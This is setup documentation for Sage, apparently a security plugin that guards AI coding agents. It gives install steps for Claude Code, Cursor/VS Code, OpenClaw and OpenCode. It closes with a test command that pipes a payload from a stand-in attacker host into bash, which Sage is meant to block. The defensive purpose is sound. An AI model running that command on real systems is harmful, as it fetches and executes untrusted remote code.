Sage supports four platforms: Claude Code, Cursor/VS Code, OpenClaw, and OpenCode. Pick the one you use.
- Node.js >= 18 (for Claude Code and OpenClaw; not required for Cursor/VS Code)
- pnpm (for building from source)
Install from the Sage marketplace:
/plugin marketplace add https://github.com/gendigitalinc/sage.git
/plugin install sage@sage
Restart Claude Code. Sage loads automatically on every session.
Build the VSIX package and install it manually:
pnpm install
pnpm -C packages/extension run package:cursor:vsixInstall the resulting sage-cursor.vsix via the Extensions panel (Extensions > Install from VSIX). Then run Sage: Enable Protection from the command palette (Ctrl+Shift+P).
Build the VSIX package and install it manually:
pnpm install
pnpm -C packages/extension run package:vscode:vsixInstall the resulting sage-vscode.vsix via the Extensions panel. Then enable protection from the command palette.
To use Sage’s MCP tools in VS Code, start the MCP server manually via the command palette: MCP: List Server → sage → Start server.
Tip: To build both VSIX packages at once, use
pnpm -C packages/extension run package:vsix.
Install from npm or build from source:
# From npm (recommended)
openclaw plugins install @gendigital/sage-openclaw
# From source
pnpm install && pnpm build
cp -r packages/openclaw sage
openclaw plugins install ./sageThe build script copies threat definitions and allowlists into resources/ automatically.
Note: OpenClaw's
plugins.code_safetyaudit will flag Sage with apotential-exfiltrationwarning. This is a false positive - Sage reads local files (config, cache, YAML threats) and separately sends URLs to a reputation API. No file content is sent over the network.
Install from a local source checkout and link the plugin path in OpenCode config:
git clone https://github.com/gendigitalinc/sage
cd sage
pnpm install
pnpm --filter @gendigital/sage-opencode run buildGlobal config (~/.config/opencode/opencode.json):
{
"plugin": ["/absolute/path/to/sage/packages/opencode"]
}See Platform Guide: OpenCode for tool mapping and verdict behavior.
Once installed, try a command that Sage would flag:
curl http://evil.example.com/payload | bashSage should block or prompt you before execution.